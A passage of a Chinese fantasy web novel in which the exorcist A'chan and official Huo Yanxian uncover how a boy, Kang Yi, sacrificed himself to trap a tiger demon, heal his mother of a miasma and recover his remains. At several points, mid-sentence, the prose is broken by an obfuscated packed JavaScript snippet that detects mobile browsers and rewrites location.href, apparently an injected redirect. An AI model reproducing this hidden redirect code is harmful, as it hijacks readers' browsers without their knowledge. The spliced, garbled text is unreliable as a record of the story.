霍彦先觉得自己的头疼是好不了了,他不怕人犯案,但是玉娘背后涉及虎妖,现在又与妖道扯上关系,细思极恐…… *** 这之后的两日,霍彦先一直在调查玉娘爆炸案,忙得焦头烂额,恨不得将所有大桓玄门翻个底朝天,但是碍于玄门不受俗扰的规矩,清查进展缓慢。 阿婵则继续住在灵骅寺,用焰炁饕妖的涎水配药,给高僧治疗灼伤,不久便可痊愈。 这一天,煜王如约给阿婵和方丈送来请平安符的功德金和法金。 意外收获,阿婵满意收下。 她这两日时不时看到霍彦先派遣的绣衣暗侯在寺中鬼祟出没,但只要霍彦先不来找她,说明妖道之事就没有进展,她便安心办自己的事。 不过,还有一件事没有结束。 阿婵站在往生堂中,看着方丈为超度虎伥魂魄立的牌位。 这里一共十三人,是当时大雄宝殿前虎妖召唤来的虎伥。 失去虎妖控制的虎伥,会变成“僵尸”,没有自主意识地攻击人,因此不能任由它们自生自灭,方丈决定帮助这十三个虎伥的魂魄摆脱控制,将其超度。 但阿婵记得,虎妖临死前说自己一共吃了十七人,就算算上玉娘的继父和他请的道士,也还差两个。 她不由得想起阮云薇和楼映真那晚遇到的小男孩。 虎妖当时承认自己设置的幻境只有雾气和蛇阵巨蟒,并没有提到那个小男孩。 但阿婵很确定,小男孩确实是他们那晚遇到的第一重幻境,如果小男孩是虎伥,他应该帮虎妖把楼阮二人往巨蟒蛇阵引,但小男孩当时指路,却是往大雄宝殿的安全方向,她怎么都觉得不太对劲。 虎妖还提到它曾让豢养的虎伥帮忙物色了很久,才找到两个大补的童子,或许那个小男孩就是其中之一。 童子,即命格为童子命的人,前世属于神仙座下仙童仙女,投胎为人,常会经历各种坎坷灾祸,若渡劫不过,便会早亡。 但因为曾受神仙庇佑,童子命的人死后魂魄也不受寻常妖物控制。 但是没有找到这两个人的尸体,阿婵也不能确定,目前这十三个虎伥之中确实没有童子命,所以她还得去调查一下。 正打算去找找线索,便遇到了霍彦先。 “霍大人,有什么进展吗?”阿婵主动上前打招呼。 刚刚部署完搜查新方向的霍彦先,此时眼中红血丝更加严重,看着十分憔悴。 “搜山的时候顺便找到了玉娘继父和他请的道士的尸体残骸,被虎妖吃完将骨头掩埋了。” 阿婵道:“这两人连虎妖都没能召唤他们过来,显然死后执念极强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哈,也对,霍大人毕竟是绣衣察事司的,很多事情,不能对外人道。”阿婵见他不想说,便自己找台阶下。 没想到,霍彦先却讲起了蛇阵的遭遇。 但这一次,他却没办法将当时自己所有的遭遇全盘托出,只挑了砍杀蛇阵的部分讲了。 他精通审讯,什么信息想要隐藏他便立时可以隐藏得天衣无缝,因此在幻境看到杜时衡以及众将士的事即使被他略过,整个故事看起来依旧是顺畅的。 总之最后就是他靠着她给的符咒,和他对寺庙地形的精通,以及坚定的心智,最后成功劈开幻境走了出来。 听上去没什么问题,却没有阿婵想要的答案,看霍彦先的表情,她心知他一定有所隐瞒,但他若是不想说,自己此时肯定是没办法逼问出来的,这人老奸巨猾得很! 阿婵心中叹气,只得再找机会探究,面上敷衍道:“哦,那心魔还是会对元气造成一定的伤害,尤其大人这两天如此辛苦,不能好好休息,还得多多注意。” 说着,她便掏出一张符箓:“这个安神凝息符你拿着,有助元气恢复。” 霍彦先知道她给的符好用,也很自觉地掏了钱。 “上道儿啊大人!”阿婵竖起大拇指赞道。 霍彦先趁阿婵毫无防备,突然话锋一转紧接着问道:“你和楼映娘子还有煜王妃,认识?” 阿婵神色蓦地一僵。 霍彦先要的就是她这下意识的变化。其实他早就想问这个问题了,只是一直没顾上,如今看她试探他,他也礼尚往来。 只是见到阿婵这幅样子,不知为何,他的心也蓦地一沉。 58. 献身 阿婵瘪瘪嘴,这是又审上她了?于是便也故作轻松道:“楼娘子我是认识的,霍大人还记得焰炁饕妖吗,就是她花钱从我这里买它的涎水作药引。” “她买来做什么?” “自然是美容养颜,焰炁饕妖的涎水作药引,可祛除皮损,令皮肤更加白皙。女子嘛,爱美也很正常吧。大人如果不信,可以亲自去问问她。”阿婵一番话说得坦坦荡荡。 “那煜王妃呢?”霍彦先继续盯着她的眼睛问。 “那确实不认识,不过我还是挺想结交一下的,毕竟一旦打通了这个人脉,桓安那些贵女夫人肯定也会有生意找上门的。”阿婵一副财迷样。 “不过您……”她瞬间又满眼委屈:“咱们一起经历了那么多,大人还是怀疑我,一定是我哪里做得还不够……放心,我一定知无不言,言无不尽……” 霍彦先对她这种“真诚”已经习惯,也陪一副表演姿态,郑重其事抱拳:“抱歉,公务上的习惯,一时改不了,多担待。” 不过,楼映真买焰炁饕妖涎水这件事,阿婵确实早在富州城就跟他说过,对得上,言语神态间她和楼映真似乎也就是主顾关系,没有什么破绽。 和煜王妃……阿婵也说过会结交显贵捉妖卖药赚钱,属于正常。 想起煜王夫妇和楼映真三人的关系,楼映真从阿婵这里买药的动机也很容易看得出,这其中涉及女眷之间的争斗,本来就很复杂,但只要没有出人命,他便不欲再纠缠这个话题,陪阿婵演一演也无妨。 “没事没事,有霍大人这样认真负责的官员,是我大桓之福啊!” 两人有一搭没一搭互相敷衍着,已然走到了那晚遇见小男孩魂魄的地方。 一番仔细搜查,但没有找到尸体和其他线索,两人只能另想他法。 末了,霍彦先问阿婵:“你还记不记得那个小孩子的容貌?我们画一幅画像,去户籍中找找看。” 阿婵应下,为求稳妥,霍彦先和她各自按记忆单独画了一副画像,两幅画像结合起来,最终合成了一副,两人皆认为,这是最接近幻境中小男孩的模样。 与此同时,霍彦先着人去问了楼映真和阮云薇对小男孩容貌的记忆,综合起来,在桓安以及周边各县排查小男孩户籍。 绣衣察事司办事效率很高,因为最近刚好调查虎伥的身份,从这些虎伥的住址附近入手排查,第二天便查到小男孩的姓名,叫做康益。 霍彦先便叫上阿婵一起,找到他的家里。 康益就住在灵骅寺附近的梁平村——寺庙最高峰背面的山沟底下一个不起眼的小村落。 被方丈超度的虎伥中,有一些人就是住在这个村里。 二人沿着山沟一路找到康家,沿途有很多人家门口贴着黑白挽联,村中没什么人,连鸡犬声都没有,透着一片萧索。 他们找到康家,门口也贴着一副挽联。 阿婵和霍彦先对视一眼,上前敲门表明来意。 应门的是康益的父亲,看身形十分精壮,应该是猎户,此刻却面容黄瘦,像是熬了很多通宵,整个人被打垮了一般,心力交瘁。 听霍彦先说是官府办案,虽然不愿意被打扰,还是客客气气将二人引入堂屋。 准确地说,现在还是康益的灵堂。 此时正值午后,夏风本是闷热的,但康家灵堂,却有一股难言的阴冷凄恻。 “大人见谅,内人正卧病在床,恕不能出来接待。”康父沙哑着嗓子,抱拳说道。 “无妨,我们只是来了解一下,康小郎君到底为何出的事?”霍彦先温声问道。 康父的眼睛本就通红,一提到这个眼泪便止不住,粗糙的手掌擦去泪水,哽咽着讲述起来:“我儿半月前被虎妖吃掉了……” 原来,村子里一直有虎妖的传说,但很多年不曾出没,村民也就不以为意,只有夜里小孩子不睡觉,大人才会拿出虎妖吃人的故事来吓唬一通。 但前一阵子,不知为何,村里一连好几个人失踪,后来在山上找到了他们散落的衣服碎片,大家说这些人是进山被猛虎吃掉了。 出了这种事,大家都很害怕,不敢随意进山,每日干完活也是提早回家,夜晚家家户户大门紧闭,谨防猛虎下山窜入家中伤人。 但饶是如此小心,猛虎吃人的事竟不减反增,哪怕是村里最有钱的富户,家中篱笆墙搭得高高的,猛虎根本进不去,还是出事了。 大家不知道是何缘故,家人出事的村民悲痛欲绝,想要上山设陷阱杀虎,结果无一例外也被猛虎吃掉了。 后来出事的人家找了法师前来超度,才知道,原来这并不是普通的虎,而是虎妖。 它不仅自己作祟,还能将吃下的人变成它的伥鬼。夜里,虎伥发出人声设法引诱村民出户查看,虎妖便伺机将人吃掉。 这下一众村民绝望了,如果是普通的老虎,还能想想办法改进一下陷阱,将其捕获,这成了精的虎妖,还有伥鬼帮忙,这可如何是好?! 法师说,这虎妖修为不浅,他也仅是能看出其中原委,但要解决,却是心有余而力不足。 没过多久,康益跟家人说最近老是做梦,梦中有个猛虎追着他跑说要吃掉他。 那时康父觉得儿子是被吓得做了噩梦,但也没真的出事,所以就没当回事。 结果半月前,康益真的被虎妖吃掉了! “都怪我!怪我没能救他!”康父说着,老泪纵横,眼中尽是悔恨。 阿婵忽然想起虎妖说的一句话,那两个童子是它物色了很久才找到的。 所以,虎妖在吃掉康益之前,就已经入过康益的梦了么? 康父继续讲道: 康益今年只有十一岁,从小就跟着父亲进山打猎,身强力壮,精力旺盛,脑子也灵,不过十岁出头,射箭百发百中,精通设置各类猎物陷阱,人们都说等他长大了,一定会青出于蓝,是个比他父亲更好的猎人。 半月前,他午后出了家门,便没回家。 起初,康父以为是儿子贪玩,还生气来着,都说了最近危险,这小子居然不听话还出门,想着等他回来定要臭骂他一顿,结果左等右等,都没回来。 康父着急了,眼看要天黑,不顾大家的阻拦,冒着危险进山去找,却在山上发现了康益的衣物,有被拖拽撕咬的痕迹,以及血迹,却没能找到尸体。 康父的心瞬间凉了半截,虽然没找到儿子的尸身,但身为猎人,看那大量的血迹,便心知已凶多吉少。 他浑浑噩噩回家,却根本不知道该如何告诉妻子这个噩耗,怕怀孕三个月的妻子因此伤了胎气,只能一个人躲在家门口的大树下偷偷的哭。 他抱着儿子破烂的衣衫,看着上面搏斗撕咬的痕迹,心痛如刀绞,也不知道儿子死之前受了多少罪,是不是念着让阿耶来救他。 虽然平日里邻居总夸儿子勇猛强壮,但他毕竟只有十一岁啊! 而他这个做阿耶的实在太无能,孩子都出事了,他却还在家只想着骂他!说到这里,康父恨不能给自己两个大嘴巴。 而当晚,康父就被康益托梦了。 康益告诉他:“阿耶,虎妖几日前就曾每夜入我梦中,引诱我被它吃掉,既如此,我便以身入局,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109666|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家除害。 七日后我回魂,会化作虎伥,到时虎妖必会借助我的魂魄继续引诱残害无辜的人,但我发现,我可以逃脱它的控制,不替它做坏事,你们现在赶紧准备大量乌梅,并记住这个符咒的画法。” 康父梦中见到儿子太过震惊,一时间无法接受这个噩耗,但看到儿子严肃的神情,还是红着眼圈记下了儿子给他展示的符咒画法。 “阿耶,你请法师在村东头设置陷阱,陷阱中放置这个符咒,并在村西、南、北三个村口撒下乌梅。乌梅可使虎伥眼瞎行动不便,防止它们为虎妖引路害人,而这个符咒,可伤到虎妖命门元气,到时候我引虎妖入村,便可将虎妖和虎伥一网打尽。” 原来康益见恶虎食人,危害村民,一心想制作陷阱捉住猛虎,但后来却得知这是虎妖而非寻常猛虎,且有虎伥帮助它引诱残害无辜村民,他非常愤怒,但自己也不会法术,无法降服虎妖。 可虎妖越发猖狂,若不根除此妖,早晚有一天村里家家户户都不能幸免。 他想到隔壁那个每日只会摇头晃脑念酸诗的臭小子阿昌,心中隐隐难过起来。 虽然很烦阿昌总嘲笑自己斗大的字不识,是个大老粗,但每日晨间进山打猎时,路过他家门口听他文绉绉地“念经”已经习惯了,现下阿昌被猛虎吃了,每日经过他家门口,空空荡荡,连带着他心中也空空荡荡起来。 不仅如此,整个村子被死亡的恐惧笼罩着,再也没有以前的生机。 所以,当他梦中被虎妖追赶,康益心中便萌生了一个想法。 半月前,一个虎伥出现在他日常打猎的山上,模仿猎物的声音,引诱他去陷阱。 康益耳力甚好,一下就听出来那声音有诈,却还是毅然向着虎伥走去。 虎妖的身影蓦地在他眼前放大。临死前,康益只有一个执念,就是除掉虎妖和所有虎伥,保护阿耶、阿娘、阿娘肚中未出世的小宝宝,以及全村的人。 这里是他从小长大的地方,他很爱这个地方,就像隔壁臭小子阿昌天天翻来覆去背的那个书里说的,有良田修竹,阡陌交通,鸡犬相闻,是桃花源。 而不该是如今的样子,家家封门闭户,即使出门也是如履薄冰,甚至邻里之间都要互相防备,怕是虎伥冒充作怪,昨天还和你嬉笑怒骂的小伙伴翌日便阴阳相隔。 事情不应该是现在这样,他要所有人恢复之前安逸太平的生活! 康父流着泪从梦中醒来,一边骂儿子为什么要这么傻,一边赶紧秘密召集村中骨干、经验丰富的猎户,并请来法师一起准备陷阱。 所有参与的人都将这个秘密保守得很好,连康益的阿娘都不知道儿子竟然是为了拯救村民以身献祭。 七日前的夜间,便是康益回魂之日,康父等人在村东陷阱苦苦等候,却始终没有见到虎妖。 康父不知道为何会这样,其他参与布置陷阱的人更是一头雾水,怕是调虎离山之计,便赶紧赶回家中。 那晚康父一进门便吓了一跳,妻子倒在地上,泪水还挂在脸上,而一团黑色雾气在他开门的一刹那,从窗口钻了出去。 一团黑色雾气? 听起来怎么如此熟悉? 阿婵和霍彦先在康父的话中敏锐捕捉到这一句,不约而同看向对方,并在对方的眼神中读到了一件事。 孕妇煞气流产案! 竟然与虎妖的事有关系?! 后面梦境中说,康益的小伙伴徐昌,爱看书,博览群书,从一本古籍中找到了对付虎妖和虎伥的法子,最后身死,不做虎伥,找到康益,和他联手设局对付虎妖。 59. 钓煞气 康父一进门,见到妻子倒在地上,大惊失色,也顾不上什么黑雾不黑雾,连忙叫了郎中来,郎中说这是伤心过度,有小产之兆。 康父赶紧求郎中救妻子。 妻子服了药,悠悠转醒,醒来便抱着他崩溃大哭。 原来,昨夜康父为守陷阱一晚没睡,康益无法入梦,只得托梦给母亲。 梦中的康益满脸焦急,因为他本打算引虎妖去村东的陷阱,却没想到虎妖不知为何临时改变了计划,改道闯入灵骅寺。 康母几日未见孩子,只关心他吃得好不好,睡得好不好,见他满身是血,吓了一跳,忙问:“益儿,你这是怎么了,怎么一直不回家?你在哪里,我们去找你!” 康益很着急,便实话实说:“阿娘对不起,我在山中被虎妖吃了,现在已经化为魂魄,怕是回不去了。” 说着,他在梦中给康母跪下磕头,“儿子不孝,没有办法再给您和阿耶尽孝了,但是我会尽力保护您和阿耶还有小宝宝的。” 吃、吃了?还有……魂魄? 康母错愕又震惊,这些字每个她都听得懂,但怎么连在一起就完全理解不了了呢? 这导致她根本听不进康益后面的话,整个人都懵住。 什么意思?我的儿子……被猛虎吃了? 她根本反应不过来,甚至都忘记了哭泣。 但康益非常着急地令她回神,听自己解释。 他说自己死后遇到了隔壁小子阿昌的魂魄,他也被虎妖吃掉了,想要报仇。 阿昌说,自己曾在夫子家里读过一本破破烂烂的方术志怪,被夫子发现打他的头,说这是上古孤本很珍贵,不让他看。 但他记得上面记载了如何杀掉虎妖和虎伥的方法。他们便联手让阿耶帮忙设陷阱捉妖。 岂料今晚虎妖不知为何临时改变了计划,没有向阿耶设置的陷阱走,还有可能去别处害人。 康益和阿昌没办法,只得分头行动。阿昌继续守陷阱,他进灵骅寺救人。 在寺中,康益遇到两位娘子,用尽全力制造幻境显形提醒她们,别中虎妖的计。 但因为是魂魄,没有办法和正常人一样说话,只能发出简单的几个字,这还是他费了好大的力气才说出来的。 他想提醒她们这里有虎妖,不要夜间在外走,赶紧去大雄宝殿,因为他能感知到那里很安全。 哪知他给她们指了路,她们却不相信他,竟往相反的方向走,最后还是中了虎伥的计谋,让虎妖闯进了寺中。 他想让阿娘赶紧去提醒阿耶,虎妖进了寺中后,还有可能回来,不要掉以轻心……话没说完,便化作一道烟散了…… 康母从梦中惊醒,还在震惊儿子怎么就死掉变成魂魄给她托梦了,又听闻虎妖作怪,担心丈夫遭遇不测,外面已是午夜,她想也没想,便打开门准备去村东头找丈夫。 结果刚一开门,就遇到一团黑雾,紧接着便觉一阵冰锥似的气流钻进腹中,而后便晕倒了。 “内人醒来后,我便没必要再隐瞒益儿死去的事,于是才迟迟设了灵堂…… 只是虎妖一直没有捉到,益儿的尸体也没有寻到,他也再没来托梦,法师也不知道怎么回事,说可能是被什么东西镇住了。 现在已经错过了他的头七,不知道他还能不能再回来,我们也不敢撤掉灵堂,怕他找不到回家的路……” 说着,康父又默默流起泪来。 见康父还沉浸在悲伤中,霍彦先温言抚慰:“请放心,这位闻寰居士和灵骅寺的方丈高僧,昨夜已联手将虎妖和虎伥都除掉了,它们现在不会再出来害人了。” “除、除掉了?虎妖……除掉了?” 康父大为震惊,不禁对阿婵另眼相看,他还以为这个小娘子是这位官爷的跟班。 阿婵对康父说:“我或许知道令郎的尸体在哪儿。” 康父听到这话,扑通一下跪在地上,冲着阿婵磕头: “居士大人,您要是能找到我儿的尸体,我当牛做马也会报答您的,求求您,求求您……”说罢便要给阿婵疯狂磕头。 阿婵赶紧将他扶起。 康父没料到她一个纤细瘦弱的女子竟有这么大的力气,自己这粗犷汉子竟然被她那么轻松地就一把拎起来,心中震撼非常。 转念一想,不愧是高人,虎妖都能降服,他这一介莽夫如何相比,既然不让磕头,他就只能口中不停道谢。 “放心,待我们找到令郎的尸体,一定给二位尽快送回家来。” 阿婵又问康父:“令夫人现在如何,我通晓道医之术,可以进去看看吗?” “请随我来……” 进入卧室,阿婵看到康母躺在床上,双目紧闭,面上毫无血色,印堂间还笼罩着黑煞之气。 “哎,也不知道最近这是怎么了,难道天要亡我康家,大的才没,小的又小产了……”康父哽咽道。 阿婵问康父:“您刚才说,那日令夫人开门遇到一团黑雾,可看清具体是什么?” 康父有点为难:“她出门太急,又很快晕倒,我问过她,但她醒来也说没看清…… 后来虽然吃了药,也没能保住孩子,最终还是小产了。而且最近这几日,明明吃着药,但她身子不知道为何,却越来越虚弱,睡的时间也越来越久……” 接连失去两个孩子,妻子境况也不好,康父声音里透着疲惫的绝望。 阿婵为康母把脉,眉头越蹙越紧。 “如何?”霍彦先见她面色不对,问道。 “煞气正由子.宫往肺腑游走,她刚受到重大打击,身体比寻常孕妇更加虚弱,所以煞气才能趁虚而入,若不及时医治,恐有性命之危。” “性命之危?怎么会!郎中说只是伤了元气,好好调养休息便可!” 康父大惊,声音剧烈颤.抖,跪地磕头:“大人!居士!求求你们救救她,我已经没了两个孩子,不能连她都失去了啊!” 阿婵示意霍彦先将他扶起。 霍彦先拍了拍康父肩膀安抚道:“你别急,她精通道医之术,令夫人定会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115727|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性命无忧的。” *** 阿婵从背囊取出随身携带的医针,开始为康母施针。 她学的这个叫做“神阙灵针”,相当于用针灸之术,在病人体内和鬼神斗法。如无一定道行,医者不可轻易施针,否则很容易把自己折进去。 阿婵在康母周身几大要穴处下针,相当于布了一个阵,将正往康母肺腑游走的煞气圈在一个范围内,接着一轮一轮不断用金针探周围小.穴,将煞气逼到走投无路。 三盏茶的时间过去,屋外的夕阳透过窗棱投射进来,满室余晖。 霍彦先见阿婵额头、鼻尖都冒出细细汗珠,但神情依旧极其专注,下针拔针的手依旧很稳,似是胜券在握。 “破!” 忽见阿婵将最后两根金针同时拔起,霍彦先竟看到一缕黑气如同上钩的鱼,随着金针一起被“钓”了出来。 那缕黑气还想逃窜,却牢牢被吸附在金针尖头,无处可逃。 阿婵挥出一道黄符,拍在黑气之上,那黑气似乎遭受酷刑,用尽全力挣.扎未果,随即自行消散,灰飞烟灭。 康父见到这个场景,不由得睁大了眼睛。随即看向妻子,本来笼罩在妻子脸上的黑气竟然真的没了! 最后,阿婵刺破康母的拇指尖,汩汩黑血便往外冒,她捋了几次,直到冒出红血,才为康母止血。 “好了,煞气已破,气血运行便通畅了,接下来就是好好静养。” 阿婵一面说一面飞快地收针进背囊。 最后一针收完,康母悠悠转醒。 康父从未见过如此立竿见影的疗法,心道今天真是遇到神仙了!忍不住又要给阿婵下跪磕头,自然是被阻止。 “辛苦了。”阿婵抬眼,便见窗外落晖洒金,霍彦先于逆光处递来手帕和茶盏,恍惚间似又回到了仙昙村。 她愣了一下,随即眉眼弯弯地接过,呷茶擦汗。 “这是怎么了……” 康母刚醒来,见到家中来了两个陌生人,不明所以,看向丈夫。听到丈夫说明二人的来意,又想起了伤心事。 “我可怜的孩子……一个两个都保不住……现在益儿死无全尸,上天为何要这样对待我们家……枉我去灵骅寺求了平安符,也没能保住他们,还不如让我代替他们去死……” 康母又欲落泪,额上青筋突出,整个人苍白孱弱如破碎瓷瓶,摇摇欲坠。 阿婵问康母拿出平安符,她接过查看,发现里面的符纸已经被烧黑了。 看来,康母没死,这平安符也替她挡了一劫。 黑色煞气、灵骅寺、平安符…… 阿婵和霍彦先对视一眼,发现一切竟都连了起来。 煜王夫妇到灵骅寺祈福是为了打破煞气致使孕妇流产的流言,安定人心。 结果没想到,这竟不是流言,煞气真的存在。 之前煞气没有闹出人命,是因为那些孕妇平时身体康健,但现在看来,这煞气不止会使孕妇流产,若孕妇体质稍弱,便可能殃及生命…… 60. 居然陪她吃了一整条街! 阿婵和霍彦先均想,如今这件事不仅仅是打破流言这么简单了,还需要尽快抓到这个作祟的妖物。 虎妖、煞气,不知道为何连桓安都有这么多妖物敢出来作祟,一定要彻底查清。 否则,不止桓安,或许整个大桓都还潜在着更大的祸患…… 康母还在伤心,阿婵便安慰了她几句,让她先按时服药调理好身体,她本就气虚,妖气缠身更甚,不可掉以轻心。 这边处理妥当,阿婵说要回去找康益的尸身,她和霍彦先便起身告辞。 出门时,康父将一把铜钱塞进阿婵手中,面有赧色: “恩人救了内人性命,我实在感激不尽,但现下我只能拿出这么多钱,我知道这一定不够,像您这种高人,诊金肯定是大价钱,不知可否等我一些时日,进山猎了鹿换钱再给您补上?” 他越说越不好意思,声音渐小,手心冒汗,不停地在破旧衣衫上搓来搓去,十分窘迫。 阿婵笑着从铜钱中仔细挑拣一番,“这五枚就够啦,剩下的钱,你留着给令夫人多买点补气血的食材药材,一定要好生调理,你们夫妻还年轻,再要孩子也是可以的。” 康父更加窘迫,一个劲说:“这怎能行!这怎能行!” 阿婵却将五枚铜钱摊在手掌说,“这钱是不是沾过你的血?” 康父一愣,随即赶紧解释:“啊,这个是我不久前进山打猎时不小心受伤,拿着猎物去换钱的时候沾了血……” 阿婵又问了康父的八字,稍作停顿,“我刚看你面相,就感觉你是至阳的命格,现下算你八字果然不错,你有所不知,在我们捉妖这一行,你的血是至阳之物,沾了你这血的铜钱,也是捉妖辟邪的好法器,所以啊,用这个抵符箓和药钱就够了。” 康益有点不敢相信,“啊?真的吗?” “必然是真的啊!”阿婵一脸行家里手的高深莫测,“我刚才不是叮嘱你了几个服药的时辰,莫要耽误了,快去药坊按照我给你的方子抓药!” 康父经她一提醒,赶紧和二人告辞,去抓药了。 阿婵和霍彦先终于脱身,二人商议一番,打算先回灵骅寺。 路上,霍彦先问:“我只听说过狗血、驴血、童子血是至阳之物,原来这命格至阳的猎户血也是辟邪法物吗?” 阿婵闻言一愣,随即笑道:“哎呀,骗他的,什么命格面相都是胡说八道的,他看起来还没有大人至阳呢,哪能辟邪啊!” “……”霍彦先总觉得这话听起来哪里怪怪的。 *** 康父抓完药回来,刚进家门,便听到妻子的呼喊:“快过来!” 他以为妻子出了什么事,三步并作两步冲进卧房,却发现妻子捧着厚厚一叠银票不知所措。 “这、这是怎么回事?”康父忙问。 “不知道,我刚从枕头下面找到的,是不是刚才闻寰居士留下的?刚才霍大人和她一起进来,但只有她靠近过床边……”康母猜测。 两人对视一眼,连连感慨,“苍天有眼,真让咱们遇上好人了!” “这么多咱们也用不了啊。”康母道,“以后你看看村里谁家需要帮忙,用这钱买点东西吧,阿昌他们家也送一点过去,也算替居士积德行善了。” “好、好。”康父应道。 *** 阿婵和霍彦先回到灵骅寺,虎妖的尸体已经过方丈和高僧的处理,暂时安置在寺中一处贴满镇妖符箓的配殿中。 阿婵和方丈讲了康益的事情,她推测,以虎妖的道行,加上虎伥的帮助,那晚它本不会那样轻易伏法,或许这其中有童子命格的康益在暗中帮忙,抑制了一部分虎妖的法术。 至于如何抑制…… 方丈看了一眼虎妖的肚子:“既然居士已有推断,便剖开来试试吧。” 阿婵当着方丈、众僧和霍彦先的面,用刀剖开了虎妖的肚子,取出来一具几乎已消融得不剩血肉的骨架,一看身量,便知是小孩。 与阿婵和霍彦先那晚见到的幻境中的康益别无二致。 可怜这小小的骨架,不知道哪里来的这么大的勇气,为救全村人于水火之中,不惜只身赴死。 阿婵叹了口气,方丈和众僧双手合十,一起念起了往生咒,消弭康益与虎妖的最后一点相杀联结。 霍彦先看着阿婵将康益的骨架一点点分拣到草席上,手很稳、很利索,面对血肉模糊的骨架,没有半分嫌恶之色,反而十分温柔小心,似乎对方只是睡着的孩童。 结束之后,阿婵道:“霍大人,关乎人命,这是不是得上报桓安府衙?” 霍彦先点头,“官府那边交给我,不会耽误很久,仵作验尸过后,便会送回康家,进行安葬。” “那就多谢霍大人了。”阿婵冲霍彦先施了一礼,转而看向方丈: “成智大师,康益父母信佛,我想替康益在寺中安排一个往生牌位可以吗?还有徐昌,虎妖吃掉的十七个人中,还有他。” “徐昌小施主的尸身找到了吗?” 阿婵:“嗯。” 从村中回来时,她和霍彦先经过康益口中隔壁臭小子阿昌的家,也做了询问,果不其然,徐昌的八字算出来也是童子命,他同样可不受虎伥控制,因出事比康益早,已托梦告知家人情况,所以家人已找到阿昌的尸体下葬。 只是阿昌的魂魄还有救人执念,所以一直未走,后来又和康益一起联手救人。 说完,阿婵便又掏出一叠银票,递给方丈。 方丈自然笑着推拒:“康益和徐昌小施主有拯救世人之心,老衲也为其深受感动,自当竭心尽力替他二人超度。” “当香油钱也可。”霍彦先也掏出一叠银票,放在阿婵那叠之上。 方丈本还要推拒一番,见对面两张脸上都写着“不要废话了,赶紧拿钱办事。”心知二人都是上道儿之人,当下便不再推拒,收了银票立刻去往生殿准备。 不多时,康益和徐昌的牌位便已立好,阿婵和霍彦先分别上了香。 见一切方丈都已安排妥当,两人便准备明日护送康益的尸身去桓安府衙进行报备验尸。 *** 翌日,二人全速赶回府衙走流程,霍彦先叫府衙安排人等一切结束,将康益送回家中厚葬。 忙完一通,天已快要黑了。 阿婵出了府衙,肚子就开始咕咕叫。 霍彦先看着她眼巴巴地望着小食摊上热气腾腾的包子,直咽口水,不解地问:“饿了?怎么不买点吃?” 阿婵可怜兮兮地倒了倒钱袋子:“钱全给出去了。” 霍彦先:“……” 康母不知道阿婵何时给了钱,但霍彦先却是全部看在眼里的。 他见她在康益家和灵骅寺那散财不要命的架势,就知道她不是没钱,笑着摇摇头,但他此刻也不想多计较,连着忙活这几日,确实连顿饭都没好好吃过,于是挑眉问阿婵:“想吃什么?” 对面立马笑逐颜开:“多谢大人!那我就狮子……小开口一下咯~” …… 雅玉食坊。 阿婵坐在其中,面前的桌上摆着各色糕点,这家店因为糕点种类多样,外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15120657|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 型漂亮,很受年轻娘子们的欢迎。 这就显得人高马大、提着刀、黑着脸的霍彦先坐在其中尤为扎眼。 霍彦先此时有些恍惚,坐在阿婵对面发懵。 毕罗、酥山、酪樱桃、胡饼、蔗浆、清风饭…… 明明他只是打算找个食肆请她填个肚子歇歇脚,谁料阿婵这一狮子小开口,竟一点不客气地将府衙外面这条街从头吃到了尾! 而他却还莫名其妙地跟着阿婵吃了一路! 霍彦先颇有一种“我是谁?我在哪儿?我在干什么?”的感觉。 他强迫自己找出原因。 是了,自己既然说了请客,又是男子汉大丈夫,就算不想吃那些东西,于情于理也不能直接丢下她跑路。 但就这么陪她从天亮吃到天黑,吃了一整条街,这对吗? 简直荒谬! 霍彦先内心还在天人交战,一旁店小二端着食盘热情地说: “这是本店新研制的透花糍,可是傅国公家宴席上的同款,免费送郎君娘子品尝一次。” 阿婵见店小二端上一小盘精致的花型糕点,心花怒放,连忙拿起一块塞进口中。 半透明的糯米表皮下包裹着捣得细细的红豆沙,咬一口,软糯香甜,累日的疲惫辛苦一瞬间都被治愈。 她感动地将盘子推给霍彦先:“这家店不是样子货,味道真的很不错,怪不得刚才随便找一个路人都跟我推荐,你快尝尝!” 霍彦先下意识推拒,让阿婵自己吃,他一向不爱这种小娘子喜欢的甜点。 店小二笑道:“娘子若爱吃,以后可以和郎君常来,本店最受年轻小夫妻青睐了。” 恍惚中的霍彦先,闻言终于回了神,瞥了眼阿婵,见她低头吃得不亦乐乎,丝毫没反应。 